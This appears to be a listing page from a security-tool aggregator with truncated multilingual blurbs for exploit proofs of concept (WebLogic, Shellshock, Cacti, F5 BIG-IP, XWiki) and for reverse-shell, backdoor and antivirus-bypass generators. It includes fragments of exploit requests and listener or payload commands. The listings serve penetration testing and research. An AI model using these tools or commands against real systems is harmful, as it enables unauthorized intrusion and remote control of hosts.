CVE-2020-14882

CVE-2020-14882 coherence shellsession calc.exe root@kitploit: import requests url = 'http://:/console/images/%252E%252E%252Fconsole.portal' \ '?nfpb=true&pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession' ...

cve-2022-31898

cve-2022-31898 CVE-2022-31898のエクスプロイトPOCコード。ファームウェアが3.215未満のGL-iNetルーター向けのコマンドインジェクション。 使用法 root@kitploit: ./cve-2022-31898.py -h usage: cve-2022-31898.py -h -R RHOST -P RPORT -L LHOST -l LPORT -p PWD -t options: -h, --help show this help message and exit -R RHOST, --rhost RHOST IP/hostname of...

AVBypass

안티바이러스 우회 보호 요구사항 golang 설치 사용법 root@kitploit: 1 - create your payload go run create.go e.g: go run create.go 1.1.1.1 443 SecRetkira https://www.youtube.com/watch?v=Rv4VzpGCEEM 2 - in output folder you will find shell.go compile it go build shell.go 3 - now you have exe file to execute run netcat...

CVE-2025-46271-Reverse-Shell-PoC

CVE-2025-46271-Reverse-Shell-PoC 면책 조항 이 저장소는 교육 목적으로만 제공됩니다. 여기에 제공된 정보는 개발자가 취약점을 이해하고 시스템을 보호하는 데 도움을 주기 위한 것입니다. 이 익스플로잇을 악의적으로 또는 허가 없이 사용하지 마십시오. 이 PoC를 사용하는 것은 본인의 책임입니다. 저자는 이 정보의 사용으로 인해 발생할 수 있는 손해나 법적 문제에 대해 책임을 지지 않습니다...

cve-2025-24893

CVE-2025-24893 XWiki RCE エクスプロイト CVE-2025-24893 （XWiki Platform のリモートコード実行の脆弱性）を、Groovyベースの async マクロと設定可能なリバースシェルペイロードを用いて悪用する、シンプルな Python3 スクリプトです。 ⚠️ 警告: このツールは教育目的および許可されたテスト目的のみ で提供されます。所有していない、または明示的なテスト許可を得ていないシステムに対する不正な使用は、違法かつ非倫理的です。 目次 機能 必要条件 インストール 使用方法 検出とプロトコルフォールバック リバースシェルペイロード...

Shell3er

Shell3er Shell3er PowerShell 리버스 쉘 Shell3er 리버스 기능 Get-RandomProcessName 함수 Get-RandomProcessName 함수는 "PS"와 새 GUID를 연결하여 임의의 프로세스 이름을 생성합니다. 이는 고유하고 무작위로 보이는 프로세스 이름을 만들어 의심스러운 프로세스를 식별하기 어렵게 하는 데 사용됩니다. Run-BackgroundTask 함수 Run-BackgroundTask 함수는 ScriptBlock과 선택적 ProcessName을 매개변수로 받습니다. 그런 다음...

CVE-2023-41425-RCE-WonderCMS-4.3.2

🚨 WonderCMS RCE 익스플로잇 도구 CVE-2023-41425 이 Python 기반 공격 보안 도구는 WonderCMS 4.3.2 의 원격 코드 실행RCE 취약점CVE-2023-41425을 자동으로 익스플로잇합니다. 악성 ZIP 테마 모듈을 제작하고 JavaScript 기반 XSS 페이로드 를 전달하여 관리자 세션을 탈취하고 PHP 리버스 셸을 배포하는 과정을 간소화합니다. ⚠️ 교육 및 승인된 보안 테스트 목적으로만 사용하세요. 📚 목차 ⚙️ 기능 📥 설치 및 요구 사항 🚀 사용 예제 🧾 인수 참조 🧠 상세 워크플로우...

python-hacklib

hacklib Python을 사용하는 해킹 애호가를 위한 툴킷. hacklib은 네트워크 보안에 관심 있는 해킹 애호가를 위한 Python 모듈입니다. 더 이상 활발히 개발되지 않습니다. 설치 hacklib을 얻으려면 명령줄에서 다음을 실행하세요: root@kitploit: pip install hacklib hacklib에는 사용자 인터페이스도 있습니다. 사용하려면 다음 중 하나를 수행하세요: hacklib.py를 다운로드하여 콘솔에서 실행: root@kitploit: python hacklib.py...

GoSH

GoSH Golang 역방향/바인드 쉘 생성기 설명 이 도구는 대상 호스트에서 원하는 유형의 쉘을 실행하는 Go 바이너리를 생성합니다. 쉘 바이너리는 여러 플랫폼용으로 컴파일될 수 있으며, 부분적 다형성고유한 함수 이름을 지원하고 기본 TCP 대신 UDP 프로토콜을 사용할 수 있습니다. 설정된 연결을 통해 DELETE 명령을 보내면 쉘 바이너리는 실행된 호스트에서 스스로 제거됩니다. 라이선스 이 소프트웨어는 MIT 라이선스에 따라 제공됩니다...

CVE-2014-6271-SHELLSHOCK

CVE-2014-6271-SHELLSHOCK 🐚 Shellshock 利用脚本 🎯💻🔍 本 Python 脚本利用 Shellshock 漏洞（CVE-2014-6271）在易受攻击的目标上远程执行命令或建立反向 shell。🛠️⚠️ ⚠ 免责声明 🚨❗ 此脚本仅用于教育目的和授权的渗透测试。未经明确许可对您无权测试的系统进行未经授权的使用是非法且不道德的。在进行任何安全测试之前，请务必获得适当授权。⚠️🛑🚔 🔥 特性 使用 Shellshock 漏洞在易受攻击的系统上执行任意命令。 建立到攻击者机器的反向 shell 连接。 📌 前提条件 🎓 易受 Shellshock...

CVE-2022-46169

CVE-2022-46169 이 저장소에는 CVE-2022-46169 - Cacti = 1.2.22에서의 비인증 RCE원격 코드 실행에 대한 PoC개념 증명가 포함되어 있습니다. 취약점에 대한 자세한 내용은 여기에서 확인할 수 있습니다. 이 스크립트는 리버스 셸 핸들러를 추가하며, sAsPeCt488이 작성한 코드를 기반으로 합니다. 원본 코드는 여기에서 볼 수 있습니다. 사용법 root@kitploit: python3 CVE-2022-46169.py -t 10.129.211.250 -i 10.10.14.72 -p 4444...

tippa-my-tongue

Tippa My Tongue Tippa My Tongue은 CVE-2022-1388 및 CVE-2022-41800을 사용하여 F5 BIG-IP 제품에 root 리버스 셸을 설정하는 익스플로잇입니다. 대부분의 CVE-2022-1388 익스플로잇은 /mgmt/tm/util/bash를 사용하여 코드 실행을 달성합니다. 그러나 이 익스플로잇은 /mgmt/shared/iapp/rpm-spec-creator를 사용한 후 /mgmt/shared/iapp/build-package를 사용합니다. 이 접근 방식은 Ron Bowes가 이...

CVE-2023-37903

CVE-2023-37903 CVE-2023-37903 익스플로잇 개념 증명 및 리버스 셸 CVE 소유자: SeungHyun Lee...

CVE-2015-1578

CVE-2015-1578 Achat 0.150 beta7 - 원격 버퍼 오버플로우 재작성 python3, PNPT 과정용 원본: 작성자 KAhara MAnhara 재작성: python3, Giuseppe Aloisi Achat 0.150 beta7 - 버퍼 오버플로우 Windows 7 32bit에서 테스트됨 https://www.exploit-db.com/exploits/36025 스크립트가 리버스 셸을 제공하는 데 몇 초 정도 기다리십시오... 코드에서 msfvenom 명령어 실행 msfvenom -a x86 --platfo...

sh1mazu

Shimazu 4.0 - コードネーム met@rpet@r これは、OSの脆弱性を悪用するための自動リバースバックドアシェルプログラムです。...

CVE-2021-25646-exp

CVE-2021-25646-exp Apache Druid CVE-2021-25646 のリモートコード実行脆弱性の検出・利用ツール ドメイン名または IP:ポートを入力すると、脆弱性の検出が可能です。 脆弱性が検出されたターゲットに対して、コマンド実行が可能です。 単一ターゲットをサポート ファイルから行単位で複数のターゲットを読み取ることをサポート （ターゲット環境でのデモ） 脆弱性検出 脆弱性の悪用、id コマンドの実行 リバースシェル リバースシェルのコマンドは二重引用符で囲んでください。そうしないとエラーが発生します。 少し遅延した後、リバースシェルの取得に成功しました。...

CVE-2024-24590-ClearML-RCE-CMD-POC

ClearML エクスプロイトスクリプト このリポジトリには、CVE-2024-24590 用の Python エクスプロイトスクリプトが含まれています。このスクリプトは、ClearML に悪意のある pickle ファイルをアップロードし、リバースシェルまたはカスタムコマンドを実行するように設計されています。 特徴 悪意のある pickle アーティファクトを ClearML にアップロードします。 ターゲットマシン上でリバースシェルまたはカスタムコマンドを実行します。 カスタムプロジェクト名とタスク名をサポートします。 タスクにタグを設定できます。 使用方法 前提条件 Python...

CVE-2025-49619

CVE-2025-49619 PoC このスクリプトは、Skyvern の CVE-2025-49619 を悪用してリバースシェルコマンドを実行します。 著者 名前: Cristian Branet GitHub: cristibtz 使い方 1. リスナーを起動する root@kitploit: nc -lvnp 2. エクスプロイトを実行する root@kitploit: python3 exploit.py -u "http://:" -k "" -i -p : Skyvern サーバーのIP : Skyvern サーバーのポート : あなたの Skyvern APIキー（設定 →...

Zerodoor

ZeroDoor 게으르게 작성된 스크립트로, 일상적인 침투 테스트를 위해 언제든지 필요할 때 번거로움 없이 리버스 셸 백도어를 생성할 수 있습니다. 이 백도어는 제임스 본드 수준의 첨단 기술이 아니라, 과도한 익스플로잇을 방지하고 제한된 기능을 제공하는 단순한 백도어입니다. 페이로드를 생성한 후 대상 시스템Windows 또는 Unix 기반 시스템에서 어떻게든 실행하면 됩니다. 실행되면 손상된 호스트에서 원격 명령을 실행할 수 있습니다 : 즐거운 해킹 되세요 :D 사용법 root@kitploit: python zerodoor.p...

tornado

tornado 通过洋葱网络利用隐藏服务实现匿名反向Shell，无需端口转发 查看文档 完全不可检测的反向Shell · 查看演示 · 坚不可摧的匿名性 目录 1. 什么是 tornado？ 2. 构建工具 3. 开始使用 安装 4. 使用说明 5. 路线图 6. 贡献 7. 许可证 8. 免责声明 如果你遇到任何操作系统兼容性问题，请告诉我。我会尽快修复，所以请查阅文档。 什么是 tornado？ Tornado 将 Tor 网络与 Metasploit-framework 工具和 msfvenom 模块结合使用，你可以轻松为本地主机创建无需端口转发的 .onion...